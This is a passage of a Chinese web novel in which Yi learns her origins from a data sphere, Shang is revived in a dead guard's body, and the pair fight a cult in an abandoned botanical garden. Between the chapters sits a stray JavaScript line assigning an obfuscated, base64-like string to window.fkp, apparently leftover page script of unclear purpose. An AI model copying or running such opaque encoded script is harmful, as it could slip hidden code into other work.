在倒计时结束后,金和伊娜深情对视了一眼。 金: “(坦然地笑)同志,太阳还会升起来的。该走了......你也该前进了。” 说完,金抱着储罐从后门冲了出去。伊娜看着金的背影流下了泪水,金,这个平凡的保安,在她眼里是一位当之无愧的英雄。伊娜忍不住抽泣了几声,接着,伊娜从前门冲了出去....... 当伊再次睁开眼睛的时候,她正坐在那个黄金王座之上。伊的眼角还有着泪水,很显然她还未从刚刚看到的事中缓了过来。她现在明白了自己的由来,更明白了母亲为了她所付出的许多努力。在得知真相之后,伊感觉到了自己肩上的使命变重了。 伊: “(恍然大悟)原来......真相就是这样吗?” ???: “(电子音)没错,就是这样。” 听到这突然出现的声音,伊从王座上站起来看了看周围,她发现一个表面覆盖着各种绿色全息数据的球就在王座的旁边的空中悬浮着。 伊: “(警惕)你是谁?” ???: “(电子音)孩子,我是创造你的创造者留在这个小宇宙中的数据。” 伊: “(好奇)小宇宙?我难道不是在梦中吗?” 数据: “(电子音)不。你在传送基座上激活了传送系统,现在你在传送区三号,是储存大数据的地方。只不过你的意志还不够坚定,没办法在传送途中醒着。” 伊: “(疑惑)传送区?大数据......你在说什么?我怎么一个都没听明白?” 数据: “(电子音)通俗点吧,这里就是能解答一切疑问的地方。刚刚你所看到的另一个你是你在这个系统中的实体,你后来所看到的一切景象都是这里所储存的数据影像,都是切实存在的。” 伊: “(醒悟)原来如此.......对了,你说这里能够解答疑问。(恳求)那么我问你点问题你能解答一下吗?” 数据: “(电子音)可以是可以,但是你只能问六个问题。因为你的意识顶多承受六个新数据。如果你获得的数据过多,你就会出现数据解体。到时候,你就会失去一切记忆。” 伊: “好......好吧。” 数据: “(电子音)有什么想问的,现在就问吧。” 伊: “请问一下,我的母亲还活着吗?” 数据: “(电子音)还活着。只不过她的肉体被封存起来了,而且大脑还被单独抽出做了个独特的装置。” 伊: “这个装置在哪里?” 数据: “(电子音)碧蓝世界的总部。” 伊: “谁导致我母亲这样的?” 数据: “(电子音)伊米迦列夫(碧蓝苍穹真名)。” 听到这个消息,伊很是震惊。她实在是没想到自己的母亲遭受到了如此待遇,而且做这些的人竟是自己的叔叔。此刻,碧蓝苍穹的身份在伊的心中更加黑暗了。 伊: “请问一下,殇.......到底是谁?” 数据没说话,只是给伊投影了一张图片。在看到图片后,伊十分震惊,她想不到自己身边的殇竟是昔日的英雄,现在人尽皆知的混蛋。 伊: “原来......这就是她提醒我要提防他的理由啊。” 在得知殇真实的身份后,伊失望地摇了摇头。这时,她突然想到了两个问题,这个问题是她能问的最后的两个问题。 伊: “那么,殇会杀掉我吗?” 数据: “(电子音)不,他会一直守护你,直到他的死亡。” 听到这个回答,伊有些欣喜。 伊: “最后一个问题,殇把我当做了他的什么?” 数据: “(电子音)根据他残存的意志来说,是某个至关重要的人。” 伊: “(震惊)某个至关重要的人?是什么呢?” 数据: “(电子音)抱歉,无可奉告。” 伊仔细想了一下,她与殇实际的岁数相差了几十岁,殇能把她当做什么呢?也许是完成他计划的工具人吧,又或许是什么重要的人。毕竟在她的印象里国王殇一直是个不可救药的混蛋,他做出了许多伤害人民的决定,这让伊有些反感,她觉得被当做工具人的可能性大一点。 数据: “(电子音)孩子,你该走了。我检测到你的意识快受不了这里的数据洋流了。” 伊: “(点点头)好。但是.......我该怎么离开?” 数据: “(电子音)坐在王座上闭眼睛等一会,你就自动离开这里了。” 伊: “好。” 说完,伊坐在王座上闭上了眼睛。在片刻之后,伊便陷入了昏迷。看着坐在王座上渐渐消失的伊,这团数据自言自语道: “希望我主人所创造的调和剂可以帮助这个世界恢复正常吧.......” 当伊再次睁开眼睛的时候,伊正躺一个小床上。伊看了看天花板,她感觉仿佛做了一场十分怪异的梦。 伊: “(好奇)这又是哪里?我刚刚所看到的......都是梦境吗?” 伊从床上做起,她看了看周围,她惊奇地发现这里竟是之前那位老妇人的卧室。 伊: “(疑惑)怎么是这里?难不成那些都不是梦?” 伊下了床,她走到了卧室门口,接着缓缓推开了门。此刻,客厅内并没有人。伊走到客厅看了看周围,她发现地面上有一些黑色的未知物质,这些黑色的物质很像之前的黑色触手表面的物质。伊转头看向厨房,她惊奇地发现厨房的饭桌上摆着一桌还在冒着热气的饭菜。 伊: “这是老奶奶做的饭菜,还冒着热气,看样子是刚做的。” 她带着好奇走到饭桌前,她发现饭桌上还有着一张纸条。她拿起纸条一看,发现纸条上用清晰的字迹写着一行字: “你的朋友和我去一个秘密地点寻找躯体去了,他黄昏时回来。你要饿了的话,桌子上的饭菜你都可以吃掉。” 在看到纸条上的字后,伊明白了什么。接下来,她坐在饭桌前静静地等待黄昏的到来...... 与此同时....... 这个老妇人拿着殇的核心走到了树林外的植物园中,老妇人迈着缓慢的步伐在植物园中的温室之中穿梭,望着曾经工作过的地方变成了这样,这个老妇人叹了口气。 老妇人: “(难过)殇啊,你还记得这个地方吗?你那时和你的女儿每到夏天就来这里度假,我还记得那个小家伙还在这里采过花呢。要是没有这场疫病,这个地方一定是十分热闹的。” 核心: “(电子音)女......女儿?我还有个女儿吗?看来我忘掉了许多东西啊......” 老妇人: “(难过)对啊,你忘掉了许多你不该忘掉的东西。” 核心: “(电子音)为什么?为什么我会忘记这些东西?” 老妇人: “(有些气愤)为了你心中的私念。为了永远活下去与永恒的力量。” 核心: “(电子音)可这......真的有必要么?” 老妇人笑了笑,回答道: “(微笑)有没有必要你不该问我,你该问问你自己。” 核心: “(电子音)看来,我知道为什么那么多的人都管我叫不可救药的混蛋了。” 老妇人: “(微笑)看样子,这个你比之前要明理许多。” 核心: “(电子音)话说,这座岛屿有多久没有来过人了?” 老妇人: “(摸着下巴思考)让我想想.......差不多有四十年了。从疫病爆发开始,这座岛屿就再也没来过人,所有人都害怕在人多的地方感染疫病。” 核心: “(电子音)原来如此......” 老妇人: “(微笑)殇啊,我想问一下你是怎么遇到那个小姑娘的?” 核心: “(电子音)在西玲国的一次意外,她那时想背刺我来着.......” 老妇人: “(微笑)哦?可是根据你的性格,你不该杀了她吗?” 核心: “(电子音)杀了她?确实......按照我的这个性格我确实会杀了她。可是......我那时看到她的时候我想起了什么,她很像一个人,这个人似乎是我的一位十分重要且过世了的亲人,我在心里对她有着无尽的愧疚,正是因为愧疚,所以我才选择了仁慈。于是我找了个荒唐的理由饶恕了她,让她成了我的小跟班。” 老妇人: “(微笑)你还是那个你啊。不好意思告诉别人你的善意,死要面子啊。” 电子音: “(电子音)都被看穿了啊。” 这时,这位老妇人带着殇的核心来到了温室的一角,此时在这里有着一具完好无损的植物园保安的尸体。这具尸体靠在墙边,腹部有着一道巨大的伤疤,地面上散落着刀片,看起来这个保安死于一些不明势力的袭击。 老妇人: “(指着死去的保安)殇啊,这就是你的新躯体了。附身上去吧,你还有很重要的事要做。” 核心: “(电子音)知道了。” 说完,老妇人把手中的核心放在地上,接着,殇和核心滚向了这具尸体。殇和核心找准一个合适的位置钻了进去,接着以本身为心脏重新激活了这具死了很久的躯体。在一道耀眼的光芒从胸口发出后,殇以一位保安的身体重新活了过来。在活过来之后,殇握了握拳,摆动了几下手臂,又做了几个深蹲。 殇: “(对着老妇人竖起大拇指)真棒,这个身体的契合度很高,而且损坏程度很低。重新拥有身体的感觉真棒!” 这时,殇腹部的伤口开始往外渗血,不知为何,他腹部渗出的鲜血越来越少,最后他腹部的伤口竟然愈合了。殇丝毫没有感觉到腹部在流血,他没有感觉到任何的疼痛。老妇人见此笑了笑,她明白她的计划已经得逞。 老妇人: “(微笑)殇啊,欢迎回来。” 殇: “(看了看自己)奇怪,为什么......我感觉的我变年轻了?无论内外。” 老妇人: “(微笑)这也许跟你所附身的躯体有关系。” 殇: “是吗?可我之前附身的士兵年纪也不大啊。” 老妇人: “(微笑)心年轻,人自然年轻。” 殇: “(点点头)说的也对。” 殇看了看周围,他此刻想起了伊。 殇: “(好奇)对了,伊跑哪里去了?” 老妇人: “(微笑)她在我的房子里,我带你去找她吧......” 殇: “(点点头)好。” 老妇人: “(微笑)等下,殇。” 这个老妇人从口袋里拿出了两个护符,这两个护符形似勾玉,一个黑一个白,黑中有白,白中有黑,若能将两个拼在一起,即是太极。 殇: “(好奇)嗯?这两个是什么东西?看起来很像太极。难不成这是什么可以获得神力的东西?是不是两个拼一起可以召唤一条水墨中华龙?” 老妇人: “(把手中的两个护符递给殇)这两个护符你拿着,要是遇到了什么你应对不了的危险,这两个护符能救你一命。” 殇接过护符打量了一番,他隐隐的感觉到,这两个护符蕴含着一股难以想象的力量。 殇: “你确定要把这个给我吗?老奶奶?” 老妇人点了点头。 殇: “(笑)那太好了!谢了!老奶奶。” 老妇人: “(微笑)殇啊,天快黑了,我们得赶快回去了。” 殇: “(笑)好!” 说完,这个老妇人带着重获新生的殇迎着日暮走向了她的小屋。日暮时分的太阳十分耀眼,天边的云朵被落日染得血红,落日的余辉透过树林照在了殇的身上,傍晚清新的空气吹过殇的身边。殇深吸了一口气,一种许久未有过的放松感迎上心头。望着远处的落日,殇不禁感慨道: “我很久很久没有觉得落日那么漂亮过了。” 在树林里走了一段时间后,这个老妇人和殇回到了她小屋前的那块空地。推开门,一阵食物的香气从厨房中飘出。顺着香气,重获肉体的殇找到了正坐在饭桌旁打着呼噜的伊。看样子,伊在这里等得都睡着了。殇看了看桌上的饭菜,桌上的饭菜已经凉透了,但是这些饭菜并没有被动过的痕迹,看样子伊一直在等待殇和老妇人回来。 老妇人: “哎......饭菜都凉了。早知道就晚一点再做了。” 这时,殇用手摇了摇伊,伊被殇摇醒了。伊缓缓睁开眼睛,在她看到面前这个陌生的面孔时,她很好奇地问了殇一句: “嗯?你是谁啊?” 殇: “(微笑)我你都忘了?我是殇啊。” 伊: “(迷迷糊糊)殇......(突然清醒)殇!你活过......不,你重获肉体了!” 殇: “(自信地笑)没错!你眼中那个无敌的男人回来啦!” 伊: “(笑)回来就好!” 伊心里: “嗯?这个殇是不是哪里不大对劲?” 殇: “(自信地笑)怎么样?有没有想我啊?” 伊: “(有些懵)嗯......” 殇: “(微笑)我就知道你会这样说!毕竟像我这样帅气的男人绝对是会让你思念的!” 伊心里: “(发懵)???怎么回事?殇怎么跟换了个人似的?” 老妇人: “(微笑)用我把饭菜热一下吗?” 伊: “(微笑)不用了,老奶奶。饭菜还有些余温,我们将就一下就行。” 老妇人: “(微笑)哦,哦。那你们先吃,我出去给我的花儿们浇浇水。” 说完,老妇人拿起客厅角落放着的水壶就推门出去浇花了。殇坐在了饭桌前,他拿起了筷子,但迟迟不动口,他似乎在等待伊先动口。 伊: “吃啊,殇。一会饭菜就彻底凉透了。” 殇: “(微笑)你先吃。” 伊: “(微笑)不,你先吧。” 殇: “诶?我说你先吃就你先吃,快点,吃!” 伊: “(低着头)哦。” 在伊动口后,殇才动口。在饭桌上,伊的心里在想着在始源林海中遭遇的一切,她想开口说些什么,但是因为一些心理因素却迟迟开不了口。眼神敏锐的殇看出了这一点,他知道伊心里有话想对他说。为了不给伊制造压力,殇并没有说话。在一段时间后,伊鼓起勇气开口了。 伊: “(紧张)那个......殇!” 殇: “(假装好奇)怎么了?伊。” 伊: “(紧张)你......是不是殇王国的国王啊?” 殇笑了笑,因为到底是不是他也不知道。 殇: “(微笑)你说是,我就是。” 听到殇的回答,伊有些疑惑,她想追问下去,但是又不知道该问些什么。于是她问了另一个她想问的问题。 伊: “(有些紧张)殇,你为什么跟变了个人似的?你现在的说话风格跟你以前完全不一样。” 殇: “(思考)这个......这得从那个老奶奶带我去寻找新躯体说起了......” ....... 宙级洪流: “(有些担心)我的王啊,根据前几次的经验,两个大麻烦很快就要找上你了。希望,你这次能用最好的方法来对付这两个大麻烦。(严肃)从前几次的观察中,我看出您貌似会在这次循环中选择和平。(期待)希望,你能够善始善终吧。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第六话:植物园的不速之客 第二天早上,伊和殇在与老妇人道谢之后便离开了树林回到了植物园之中。在殇重获肉体之后,伊重新获得了当初的那种安全感,这种安全感在伊从数据口中得知了殇不会杀掉自己的消息之后变得更强烈了。殇走在前面,伊跟在后面,两人在植物园中寻找可以给车加油的燃料,顺便在植物园里春游,虽然现在是夏天。这座植物园的装修十分豪华,到处都能看到各种高级建材,同时植物园之中种着许多珍惜植物与珍惜树木,这让这座植物园的档次更高了。伊看着这植物园中的一切感受到了不是开心与愉悦,而是惋惜与难过。殇跟她一样。 伊: “(惋惜)很难想象这座植物园在荒废之前是何种的热闹啊.......这场疫病让这个美如画的地方变成了无人的寂静地狱。在这里就连树木与花草也开始凋零了......” 殇: “(惋惜)对啊。真是可惜了。要是换做疫病来之前,这里一定是十分热闹的地方吧。如果我有钱,我一定会来这里度假的。毕竟这等美景谁不向往呢?” 伊: “(好奇)对了,殇。我一直好奇一个问题......你到底是怎么来到无人区的?” 殇: “这个......我也不知道。我失去了许多重要的记忆,我忘记了许多重要的人与重要的事,现在的我只知道要去王座之间......” 伊: “原来如此。” 殇: “还有,伊。我从看到你的第一眼就觉得你这身制服很眼熟,我能判断出你的身份是一位皇家研究员。但是......你到底是怎么出现在那里的?” 伊: “(尬笑)这个......我那时是从朋友那里弄到了一个传送站,然后我走了进去,之后传送位置出错,我就到了那里了。” 殇: “(恍然大悟)哦,看样子传送站质量不过关啊。” 伊: “不能算是质量不过关吧,毕竟那时走得匆忙,还有人追杀我......于是就出了点小问题。” 殇: “(微笑)所幸你来到无人区之后遇到了我,不然你早就成了绿毛怪的口粮了。” 伊: “谢谢......” 殇: “诶,感谢的话就没必要说了。要论感谢,你感谢我一天都感谢不完。” 这时,殇听到了来自周围的脚步声,他立马停止说话静静地聆听着周围的声音。脚步声很轻,听起来不像是那些冒冒失失的感染者,殇推测这很大可能是那些前来抓伊的都市猎人。殇召唤出了黑死神的镰刀,接着静静等待都市猎人现身。伊见到这个架势,她想张口询问发生了什么事,但她见到殇严肃的表情她就明白了现在的状况,她不由得开始紧张。这时,从两人周围传出了一个女人疯癫的声音。 “找到了!找到了!我们的新教徒,我们的发财路!哈哈哈!” 这时,一个身穿红色长袍,拿着染血匕首的灰发女人出现在了两人的面前。她的身上有着许多用刀划开的伤口,看起来她好像是个疯子。见到这个女人,伊感到有些害怕,而殇感觉有些想笑。但突然,殇就把笑憋了回去。他回想起了一些不好的回忆...... 艾佳佳: “(狂笑)你好啊!迷茫的年轻人!加入我们吧......要不要来跳支舞啊?” 殇: “(严肃)妈的!想不到竟然会在这里遇到你们这群疯子。” 艾佳佳: “(狂笑)哈哈哈哈!看来有懂的行家啊......想不到这次还有些‘意外收获’啊......” 殇: “(严肃)你们这群家伙......畜生!” 艾佳佳: “(深吸一口气)看样子我们的谈话就到此为止了......出来吧,我的教徒们。” 这时,五个身穿红色长袍的男教徒拿着链枷(流星锤)漫步走到了艾佳佳的身后。他们五个面无表情,看起来活像一具傀儡。见到敌人摆好了准备进攻的架势,伊本能地后退了几步。殇看了看这六个受虐者,又转头看了看身后有些害怕的伊。 殇: “菜鸟,你去找个安全的地方躲着。战斗的事让男人来。(把手中的镰刀扔给伊)拿好了,别忘了我是怎么教你的。” 伊: “(接住镰刀点了点头)知道了。(关心)注意安全,殇。” 殇: “(自信地笑)躲好了,受伤的话我可不负责哦。” 说完,伊拿着长柄镰刀跑着找到了一颗粗壮的树后面躲着,在躲的时候还不忘探出头观战。殇转过头来露出了自信的微笑,见到殇这样,艾佳佳很是疑惑。 艾佳佳: “(疑惑)你这个家伙笑什么?你手无寸铁,而且还独自一人,你应该感到恐惧而不是快乐,(期待)那不成,你已经下定决心.......” 殇: “(微笑)不,我才不会加入你们这群疯子。我笑是我觉得我不需要武器就能打得你们满地找牙,因为你们看起来太逊了。” 艾佳佳: “(狂喜)你要是用拳脚的话.......哈哈哈哈哈!那你可就太天真了!我们教团的实力可是能轻易消灭任何一位都市猎人的哦。” 殇: “(十分嫌弃)切!一群狂妄的疯子!” 艾佳佳: “(笑)好啊,既然你很勇的话......就让我们见识一下你的实力吧。” 殇: “(十分嫌弃)不可救药的混蛋!” 殇握紧双拳,做好了战斗的准备。得益于比之前年轻的躯体,殇的反应力和速度比之前要强上许多,但是在力量上比之前要稍微逊色一点。 艾佳佳: “(笑)教徒们,展现你们实力的时候到了。上,杀了他这个狂妄之人。” 殇: “(嘲讽)大姐,你们一起上吧。我怕一会我跟你单挑的时候你会哭鼻子,说我欺负你。” 艾佳佳: “(生气)你这家伙......教徒们,弄死他。” 在艾佳佳下达命令之后,那五名教徒拿着武器冲向了殇,他们五个分工明确,每个人负责一个方向,想要以五面夹击之势杀了殇。但是他们忽略了一个问题,那就是他们不知道殇的战斗力究竟有多强。殇见此丝毫不慌,他转身看了一圈,发现自己被包围了。远处的伊见到殇被包围之后有些担心,她害怕殇会死在这些受虐者手上,毕竟人和绿毛怪不能相提并论。 伊: “(担心)小心啊,殇。” 殇丝毫没有惧怕,他静静地观察周围五名敌人的一举一动,他做好了在敌人出手的瞬间就解决掉对方。在安静了几秒之后,殇正对着的两名教徒有了动作,看样子是准备用手中链枷甩向殇,殇见此做好了躲闪的准备,只不过他躲闪的目标不是前方的敌人,而是后方准备偷袭他的敌人。他们那点小动作是躲不过殇敏锐的听觉的。殇掐准时机身体前倾一个后空翻躲开了身后砸过来的流星锤,见到殇的举动,抡出流星锤的人整个人都傻了,他怎么都没想到殇竟然能够躲开他的背后偷袭。殇后空翻落地后转身一个上踢腿踢在了他的下巴上,这一脚的威力巨大,直接将偷袭他的那个教徒踢飞出去三米多。见到此景,在场的教徒都被震撼到了,他们从未想过一个人的力量可以大到可以将人踢飞出去。在这个时候,殇快速收腿转身冲向了艾佳佳,其中离殇最近的两个教徒见此将手中的链枷甩向了殇。殇的嘴角微微上扬,接着他一个转身加侧身抓住其中一个链枷的锁链,然后用力转身一甩,直接将拿着链枷的那名教徒甩倒在地。借着这个空档,殇直接改变目标冲向了那名倒下的教徒,其他的两个教徒也没闲着,赶忙用手中的流星锤攻击殇。殇连续两个侧闪躲开了流星锤,借着他冲到那位即将站起来的教徒面前对着他来了一脚,这一脚直接将这个教徒踢晕了过去。与此同时,剩余三个教徒向着殇靠拢了过来,他们三个分别从左中右三个方向对着殇展开了致命的进攻。顿时,三把流星锤一起砸向了殇的后背。殇已经料到了对方的行动,他一个健步向前冲刺躲开了他们的攻击。与此同时,之前被踢飞出去的那名教徒突然出现在殇的面前,他握紧拳头,红着脸,眼中密布血丝,看架势是要揍殇一顿。在他挥出第一拳的时候,他就已经输了。殇不急不慢地用手抓住他挥出的拳头,接着对着他的脸来了一记重拳,然后殇松开抓着他拳头的那只手,紧接着使出三成力气对着他的脸抡了过去。这个教徒被这一拳直接打倒在地,同时这一拳使得他的下巴骨折了,但是他并不伤心,而是疯癫地笑出了声。为了防止对方还有力气,同时为了躲避身后教徒的攻击,殇一跃而起,踩了这名教徒的后背两脚,这名教徒本来想着起身靠着自己受虐时的疯劲反杀殇,但是这两脚直接让他的这个想法变成了泡影。殇躲开攻击之后用手指着剩下的三名教徒,他摆出了无敌的姿势,十分狂妄。 殇: “(自信)现在就剩你们三个了,逃跑还来得及。” 剩下的三位教徒并没有理睬殇,他们抡起手中的链枷,对着殇展开了一轮新的进攻。殇见到对方丝毫没有逃跑的意思,他笑了笑,然后冲向了这三位教徒。在远处的伊静静地看着,她的心中有着些许担心,但见到殇在战斗中游刃有余毫发无伤,伊也就自然不怎么担心了。这时,有一个声音从她背后出现。 ???: “(微笑)你好啊,人类。” 伊转头看去,一个长着蝴蝶翅膀的小精灵出现在她的眼前。见到她,伊一度以为自己出现了幻觉,她用手揉了揉眼睛难以置信地看着眼前的小精灵。 伊: “(惊)嗯?是我出现幻觉了吗?我面前的是一个童话中小精灵?” ???: “(微笑)不,人类。你没有看错,我是真实存在的,而非幻觉。只不过,我不是童话中的小精灵,我是现实中的小精灵。” 听到小精灵的这番话,伊有些疑惑,她不能理解现实之中怎会出现这种反科学的生物。现在,伊已经不考虑这些了,她只想知道面前的小精灵是好是坏。 伊: “(微笑)你好啊,小精灵。请问,你叫什么名字?” 流光蝶影: “(微笑)我叫流光蝶影,你可以叫我小蝶。” 伊: “哦。(警惕)对了,请问一下你来找我是为了什么?” 流光蝶影: “(微笑)你在害怕我吗?不用担心的,我只是一个弱小的小蝴蝶。(笑)而且,我喜欢帮助别人!我是乐于助人的好蝴蝶。” 伊: “(知晓)哦。” 流光蝶影: “(微笑)只要你在天堂岛上,我就能一直帮助你!” 伊: “(微笑)谢谢,小蝶。” 流光蝶影: “(微笑)让我跟着你吧!我能帮你的!” 伊: “这个.......行吧。” 流光蝶影: “(高兴)好耶!” 伊: “(好奇)对了,你有没有什么伪装能力了?例如隐身什么的。” 流光蝶影: “(笑)有啊。” 接着,流光蝶影趴在了伊的头发上,然后她慢慢变成了一个蝴蝶结紧紧地粘在伊的头发上。伊摸了摸头上多出来的蝴蝶结,她感觉很神奇,她没想到有生命的生物竟然可以变成无生命的物体。就在伊感觉神奇之时,她头上的蝴蝶结开始颤抖,并且发出笑声。 流光蝶影: “(笑)哎呀!好痒痒啊......别挠了,别挠了。” 伊: “(尴尬)我还以为你真的变成蝴蝶结了......” 流光蝶影重新变回小精灵的样子,她坐在伊的头上动了动自己的翅膀,然后她飞了起来。流光蝶影飞到了伊的脸旁,她用自己的脸蹭了蹭伊的脸。伊感觉到痒痒的,暖暖的。伊看着这个可爱的小家伙笑了笑,不知为何,伊感觉到一股暖流涌上了心头。 流光蝶影: “(笑)以后,我就是你最好的朋友了!我会好好对你的!你也要好好对我哦。” 伊: “(温柔地笑)知道了。” 之后,流光蝶影飞到了伊肩膀上,她缓缓地降落在伊的肩膀上,接着坐在了伊的肩膀上。那种感觉如同坐在了巨人的肩膀上俯瞰这个世界。 与此同时,战斗迎来了尾声。现在场上剩下的,只有毫发无损的殇和艾佳佳以及倒在地上的五位教徒。看着倒在地上的教徒,艾佳佳的眼中满满的难以置信。看着面前毫发无损的这个男人,艾佳佳想起了一位被世人所唾弃的昔日英雄。 艾佳佳露出了阴森的笑容,她握紧了手中的两把匕首,她的周围出现了黑色烟气。 殇: “(严肃)大姐,你看现在就剩你一个了。你确定要跟我战斗吗?” 艾佳佳: “(狂妄地笑)哈哈哈哈哈......看来还得让我这个二级教徒来出手解决你啊!那些新来的教徒真的太废物了,连你这个垃圾都搞定不了。” 说完,艾佳佳身体微微前倾,看样子是想攻击殇。但在她攻击之前,殇叫住了她。 殇: “诶,慢着。先说好啊,我是个大男人。我是不会动手打女人的。” 艾佳佳: “(微笑)哦?那太好了!准备被我千刀万剐吧......” 说完,艾佳佳就一个冲刺冲向了殇,战斗一触即发了。殇面对突如其来的攻击丝毫没有行动,他在等待对方靠近自己。就在艾佳佳将手中的匕首刺向殇的时候,殇一脚把她手中的匕首踢飞了出去,紧接着又一脚踢在了艾佳佳的脸上把她也踢飞了出去。艾佳佳被踢飞出去四五米,在她落地之后,她摸了摸脸,又看了看摸脸的那只手。只见几滴鲜血滴在了她的手心上,她的心中此刻充斥着怒火。 殇: “(笑了笑)呵呵......我不动手,我动脚。” 艾佳佳: “(微笑)看来......你这混蛋有点东西啊!” 殇: “(不解)你这疯子,这时候你还笑得出来?” 艾佳佳: “(微笑)笑能增加运气不是吗?” 殇: “(嫌弃)草了。” 艾佳佳一个冲刺冲向了殇,她的速度比起之前要快上了许多,可见她现在究竟有多愤怒。她对着殇猛地挥出手中的匕首,殇一个后撤躲开,紧接着她握紧拳头对着殇挥了一拳,殇一个快速侧闪躲开了。艾佳佳用手中的匕首十分快速地对着殇连续挥砍,殇见此则用连续后撤躲开。在殇后撤到第二十步的时候,他与艾佳佳的距离已经足够他使用招式了。他掐准时机,一个飞踢踢了过去,艾佳佳见此想侧闪躲开,但是为时已晚了。随后,她被殇的飞踢踢飞出去五六米。在她落地的瞬间,殇来到了她的面前,接着殇一个回旋踢把她踢倒在地。她倒地之后之后瞬间又站了起来,同时她手中的匕首已经对准了殇的心脏,她猛地将匕首刺向殇,她的一举一动都在殇的眼里。下一刻,她手中的匕首不出意料地被殇踢飞了出去,在反应速度这方面,殇见过的人中,至今没人能比殇更快。在失去的武器之后,艾佳佳恼羞成怒,她死死地瞪着殇,恨不得亲手把殇撕成碎片。此刻,她握紧双拳准备与殇进行肉搏,见到此等架势,殇真心佩服艾佳佳的勇气。 殇: “(夸赞)令人羡慕的勇气......” 艾佳佳心里: “(咬牙切齿)准备受死吧。” 随即,艾佳佳冲向了殇,最后的战斗开始了。艾佳佳的攻势丝毫没有吓到殇,殇在应对她的攻击之中显得游刃有余。他一直在找机会踢晕她,因为他不想杀了这些本就可怜的可怜人。终于,殇找到了一个合适的时机,他一脚将艾佳佳踢倒在地,他本以为这脚踢晕了她,但是她很顽强地重新站了起来。又是一个合适的时机,他又将艾佳佳踢到在地,但是她又站了起来,而且这次,她的攻击比之前要更加迅速与凶猛。殇试着再次踢倒她,但就在这时,殇发现艾佳佳身旁的黑色烟气开始在艾佳佳身上汇聚。殇隐约察觉不妙,他赶忙后退了几步。 殇: “(疑惑)这又是什么邪术?” 在片刻之后,黑色烟气散去了。艾佳佳的双手变成了黑色的巨大利爪,她全身的肤色变得惨白,她的瞳孔变得血红,杀气十足。看到变成这样的艾佳佳,殇明白了那些黑色烟气的作用。那些黑色的烟气就是能让变成怪物的毒药,就是那群自称为黑暗德鲁伊的疯子的杰作。 殇: “(不屑)果真就是一群无可救药的疯子!” 艾佳佳?: “(癫狂)为了康帝大人!为了康帝大人!” 说完,艾佳佳一个健步一跃而起飞扑向了殇,殇见此向左翻滚躲开了她的飞扑。在艾佳佳落地后,殇抓准时机一个冲刺来到艾佳佳身后对着艾佳佳来了一脚。艾佳佳似乎察觉到了这点,她一个转身对着殇来了一爪。殇见此收腿起跳躲开了她的这一爪,同时在空中用一个回旋踢对着她的头狠狠地来了一脚。这一脚差点给艾佳佳踹翻在地,艾佳佳踉跄了一下恢复重心。殇本想着乘胜追击在给艾佳佳来一脚,但就在这时,艾佳佳身上再次出现了黑色的烟气,殇察觉到不妙,赶忙用后撤步与艾佳佳拉开了距离。突然,艾佳佳以极快地速度冲向了殇,然后用爪子对殇连续攻击了好几下。殇一套招架拳全部挡下了艾佳佳的攻击,同时还对着艾佳佳的脸狠狠地来了一拳。接着艾佳佳一个后撤步与殇拉开距离,然后一个健步一跃而起跳到半空中对着殇来了一记重击,她试图用她的利爪一次就杀死殇。她低估了殇的实力,也高估了自己的实力。殇汇聚能量于右拳,接着一个后撤步躲开她的攻击,然后对着她使出了隼之冲刺。他一拳打在了艾佳佳的脸上,这一拳直接将艾佳佳击飞了出去。这时,殇摆好架势,下压身体,目光对准在空中的艾佳佳。 殇: “破灭之拳!” 殇一跃而起来到艾佳佳的身前,然后一记重拳打在了艾佳佳身上,这一拳让艾佳佳飞行的速度变得更快了。艾佳佳很快与殇拉开了距离,但很快,殇就用一个冲刺减少了两人的距离,接着他对着艾佳佳又来了一拳。就这样,殇一拳一脚地在空中连续攻击了艾佳佳六次。在殇踢出最后一脚后,艾佳佳重重地砸在了一棵树上,这棵树并没有承受得住冲击,它在冲击的作用下断成了两截。接着艾佳佳在地上滚了好几圈,之后慢慢停了下来。殇见此走向艾佳佳查看情况,看艾佳佳是否还存活。就在这时,倒在地上的艾佳佳突然站了起来。她站起来后马上冲向了殇,准备再次发起攻击。即便在这种情况下,艾佳佳仍然想着攻击,这种不怕死的劲头着实惊讶到了殇。殇有些佩服她,佩服她有这种不怕死的勇气。但佩服归佩服,战斗还是要继续的。 艾佳佳一个飞扑扑向了殇,然后她用爪子对着殇连续挥了几下。就在这时,殇变出Emw-67亚特兰蒂斯,然后对着艾佳佳刺了过去。艾佳佳没能躲开这一击,她用身体接下了这一击。殇用亚特兰蒂斯像挑起了一条大鱼一样挑起了她,此刻的殇像极了一位打渔的渔夫。殇像扔标枪一样使劲把手中的三叉戟连同艾佳佳扔了出去,接着三叉戟连同艾佳佳一起卡在了殇前方十几米处的大树上。艾佳佳试着挣扎,但那无济于事。在挣扎了一段时间后,艾佳佳便没了动静。见此,殇回收了自己的亚特兰蒂斯。在三叉戟消失后,艾佳佳的尸体掉在了地上。 殇看了看地上的艾佳佳,他摇了摇头。 殇: “(摇摇头)可惜这么个漂亮姑娘了......年纪轻轻的就被邪教洗脑了,真是可惜了啊。” 接着,他转身向着伊那边走去。远处的伊见到战斗结束之后便快步跑向了殇,就在这时,殇突然听到了诡异的嗡嗡声,他转头看向正在跑向自己的伊,他立马使用E协议变出另一把黑死神的镰刀,接着将黑死神的镰刀扔向了伊。伊见此整个人直接愣住了,她想不到殇竟会主动攻击自己,可是下一秒,镰刀以一个弧线飞过了她的身旁。 伊: “(生气)殇!你干嘛?” 殇: “(着急)快!像我这跑!” 伊: “(疑惑)怎么了?” 殇: “(着急)快他妈跑!还想活吗?” 这时,一阵刺耳的嗡嗡声传入伊的耳中,伊不禁汗毛直竖。她本能地开始向着殇那里跑去,她能感觉到自己的身后有着某种可怕的生物。这时,殇用E协议变出之前的黑色大锤,殇一个健步冲上前去对着伊身后的怪物狠狠来了一锤,然后殇急忙跑到伊的身旁拉住伊的手就往前跑。 伊: “诶.....殇。” 